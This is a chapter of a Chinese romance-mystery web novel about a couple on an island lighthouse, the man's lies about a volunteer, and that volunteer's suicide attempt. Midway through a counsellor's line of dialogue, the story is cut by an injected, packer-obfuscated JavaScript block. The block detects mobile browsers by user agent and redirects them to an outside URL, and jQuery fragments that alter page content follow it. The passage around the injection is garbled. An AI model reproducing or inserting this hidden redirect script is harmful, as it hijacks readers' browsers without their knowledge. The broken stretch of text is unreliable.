在见到江迟迟的那一瞬,时相儒反射性地挂断电话。
“迟迟...你出来了?”
时相儒声线平稳中带着一丝不易察觉的抖,“屋里情况怎么样,燕琉说什么了吗?”
“小燕刚醒,情绪不太稳定,心理咨询师正在里面。”
江迟迟的视线随着他的手指按灭屏幕,“你呢,你在给谁打电话?”
“噢,是何泰阳...”
时相儒说出这个名字才意识到,江迟迟并不认识他,连忙补了一句,“他是我的经纪人。”
何泰阳一直是私下里偷偷找上江迟迟的,时相儒还不知道他俩认识。
“是工作上有什么事儿吗?”
“也不是什么大事...”
时相儒捂着嘴,佯装轻咳两句,“就是出版商那边找我有点事儿,过段时间我得回去一趟。”
“什么时候回去?”
“不着急,等这批志愿者走了之后吧。”
他在说谎。
这是江迟迟第一次清楚地意识到,时相儒在对她说谎。
这个谎言的性质和之前都不同。
之前,江迟迟问他为什么上岛、为什么分手,这个男人也会说谎。但那是因为心高气傲的他不愿意承认自己的懦弱,不敢翻出自己的软肋,所以他下意识地嘴硬、逃避,用谎言掩盖自卑的心理。
这次不同,时相儒有事瞒着她,这事儿还和燕琉有关。
不是逃避式的嘴硬,而是真真切切的,撒谎。
为什么?
难道燕琉真的是时相儒故意选上来的?
时相儒没道理这么做,她也不愿意相信这件事。
江迟迟换了个话题问:“我父母的事情,你是什么时候知道的?”
刚刚在小房间里,时相儒似乎对两年前“远星号”的情况一清二楚,但江迟迟不记得自己跟时相儒说过父母的事。
“上次在南港,钟局私下里告诉我的。”
所以他又撒谎了,从南港回清洲岛的船上,江迟迟明明问了他,钟楚昭都单独跟他聊了些什么,时相儒却没实话实说。
男人看见女孩儿骤然间失望的眼神,连忙解释。
“我那个时候没说,是怕你想到逝去的父母会伤心。”
好,这个理由她可以接受。
“那燕琉呢?”
时相儒还在装傻,“燕琉他...怎么了?”
江迟迟闭眼,心尖某一处刺得她生疼。
她决定再给他最后一次机会。
女孩儿睁开眼,灼灼地盯着时相儒血丝密布的眼睛。
“燕琉的事,你究竟知不知情?”
还是被她看出来了。
时相儒想像往常一样勾起唇角扬一个自然的笑,嘴角却像被女孩儿的视线钉住,僵在原地。
那双惊心动魄的眼睛盯着他,像要把他拖进一个无法说谎的房间。
时相儒紧抿着唇,舌尖抵着犬齿,不知痛倦般狠狠咬着柔软的舌肉,锈腥味刺激大脑,带起涨潮时急速的呼吸。
他不想再对她说谎,丢失好不容易得来的一切。
“迟迟。”
时相儒咽一口唾沫,他回望着女孩儿质询的眼神,一字一句,语气认真。
“选燕琉当志愿者的时候,我不知道他和你父母的关系。”
男人举起三根手指,“我发誓,如果我有半点害你的心思,我时相儒这辈子遭天打雷劈、不得好死。”
他语气如此诚恳,似乎若是江迟迟说一个“不信”,他能立刻跳进黄河自证清白。
“那...刚刚你跟何泰阳到底在聊什么?我听见你提到了‘燕琉’的名字。”
“好吧...其实,不是出版商找我。”
时相儒知道自己瞒不下去,“刚刚我是让何泰阳帮我查查燕琉的底细。他在清京市很有门路,或许能对你有帮助。”
“刚刚对你说谎了,对不起,迟迟。”
男人在她面前俯首。
毛茸茸的脑袋杵在她眼前,时相儒见她不说话,悄悄上前一步,贴近女孩儿。
“对不起,迟迟。”
一旦放下高举着的自尊,这些道歉的话语便如流水一般,自然而然地从他口中泄出,
“我只是不想让你担心而已。”
时相儒弯下.身子,脑袋埋在她颈间,语气隐隐带着些撒娇讨好的,“原谅我吧,迟迟~”
江迟迟被他蹭得胸前痒痒,伸手想推开他,却被机智的男人一把薅住,下一刻,男人牵引着她的细掌,贴上他鼓胀的胸膛。
“迟迟你看,我心跳得超快,你要是再不原谅我,这儿就要蹦出来亲自向你道歉了。”
手下的颤动伴随男人的呼吸均匀起伏,带着一丝肌肉的战栗,顺着夏季薄软的衬衫传递到她的掌心,每一次颤抖都带起她指尖的酥麻痒意。
江迟迟顺着他的话联想,想到手里的心脏真的跳出来,一蹦一蹦的在她眼前道歉,哭着说“对不起”,该是一副多么迥异又搞笑的画面。
“噗嗤”一声,江迟迟自己把自己逗乐了,不由得笑出声。
听见女孩儿的笑声,时相儒微微松了一口气。
“迟迟这次不生气了吧?”
江迟迟收敛笑意,“嗯,不生气了。”
她可以很轻松地验证时相儒有没有说谎——只要她现场给何泰阳打个电话,询问他们究竟聊了什么就行。
但江迟迟并不想这么做。
一方面,她不想让时相儒知道她和何泰阳早就认识。
另一方面,其实她的心底一直都相信,时相儒不会害她。
“那就好...”
江迟迟忽地转折:“但是——”
但是什么?!时相儒一口气没喘完,又被江迟迟钓了起来。
女孩儿眼珠一转,“但是,这次你还是骗了我,要接受惩罚。”
她好不容易才让时相儒放下心底的自尊,同她坦诚相待,不能因为今天时相儒撒的一个娇就前功尽弃。
做错事了,该罚。
时相儒呼吸一滞,“罚...罚什么?”
江迟迟狡黠一笑。
...
“燕琉情绪不稳定,我给他用了一些镇定剂,现在他又睡着了。”
咨询师走出房间,对江迟迟说,“问出了一点东西,虽然不多。我拉一个线上会议,跟钟局一起讨论吧。”
她们找了个空闲的房间,视频里的钟楚昭穿着正装,看背景正在办公室里。
“燕琉说,他报名清洲岛的志愿者,一方面是为了躲避家里的催婚,另一方面,他也想到父亲去世的地方看看,缅怀一下逝去的亲人,并没有别的意思。”
“昨天是他父亲去世的整整两周年,白天他心情不太好,因此和时相儒起了一点...小摩擦。”
咨询师斟酌着用词,实际上,燕琉的原话是,“我被时相儒臭骂了一顿。”
“总之,他昨天心情很糟糕,晚上躺在床上,忽然就起了轻生的念头。”
咨询师表情变得有些奇怪,“他说,他听到父亲在海中呼唤他,要他下来和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169285|161146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟自己团聚。”
“...”江迟迟被这番说辞惊得有些说不出话。
哪儿有父亲会鼓励儿子自杀的?!
“所以他自己一个人下海,原本是想轻生,结果等海水真的淹没头顶的时候,他又后悔了,只好拼命挣扎,在海上漂了很久才被救援队找到。”
咨询师耸耸肩,“这就是他和我说的全部内容。”
时相儒对燕琉的说辞保持怀疑,“轻生到一半又后悔了?”
“实际上,这是很常见的行为。”
咨询师冷静解释:“百分之九十跳楼的人,双臂都是断的。你知道为什么吗?”
“在落地的前一瞬间,几乎所有人都会试图撑住地面,这是人类的生存本能。”
不管燕琉在跳海前多么失意、多么沮丧,当海水真的弥漫气管,生的本能会让他努力蹬腿自救。
体验过溺水的滋味后,他就不敢再次轻生了。
钟楚昭目光如炬,牢牢盯着咨询师,“以你的角度看,燕琉说的话有几分可信?”
“七分吧。这孩子确实有点自卑,尤其是追求迟迟被拒,又在父亲逝世两周年的当天和情敌起争执...总之,他的动机还算完整合理,挑不出什么毛病。”
“好,我知道了。”
“钟局,现在这个燕琉怎么处理?”
“以燕琉目前的身体状态和精神状况,不合适再留在岛上参加志愿服务。晚点我会派人把他接到南港的医院,剩下的事就不需要迟迟你操心了。”
江迟迟点头:“好,舅舅,麻烦你了。”
“傻姑娘,自家人说什么麻烦不麻烦的。”
每每和江迟迟交谈时,钟楚昭会难得的放下领导的架子,态度亲切而温和,如沐春风一般,听得旁边那位咨询师瞠目结舌。
原来钟局也有如此温和的一面。
...
入夜,江迟迟卧在灯塔的小床里,手中端着一个平板。
泛着白光的屏幕上,燕琉的志愿申请表清晰可见。
江迟迟放大这张表格,逐一检查。
姓名、年龄、政治面貌、生活经历...似乎都看不出什么毛病。
右上角的照片上,年轻的男孩儿扬着天真灿烂的笑容,朝着镜头比耶,身后人流熙攘,像是在某个景点拍的游客照。
江迟迟盯着照片看了半天,也没发现什么问题。
视线最后落在他的申请理由上。
“儒哥,迟迟姐,我关注你们的频道好久啦~我超级超级向往岛上平静安逸的生活,正好最近学校放暑假,我有大把的时间可以帮你们守塔,时间越久越好,最好直接守到开学!至少这样我妈就不会逼着我去相亲了...开玩笑。总之,即便没能选上,我也会来清洲岛找你们的!”
十分青春洋溢的一段话,和燕琉的性格大差不差。她之前就看过了,并没有什么额外的信息。
江迟迟缩小表格,她盯着这张挑不出毛病的申请表,缓缓放下心中最后一丝疑惑。
或许,事情真的就像时相儒说的那样——燕琉能被选上,就是一个巧合吧。
“迟迟...确定要这样吗?”
灯塔里通风不太好,时相儒燥热地裸着上半身,僵直地坐在床边。
他耳根子烧得通红,手指不自然地蜷缩,一想到等会儿要做什么,就羞耻得手足无措。
“确定。时相儒,你答应过我的。”
江迟迟按灭平板,放到一边,慢吞吞地挪到男人炙热的身旁,坐下。
“来,开始吧。”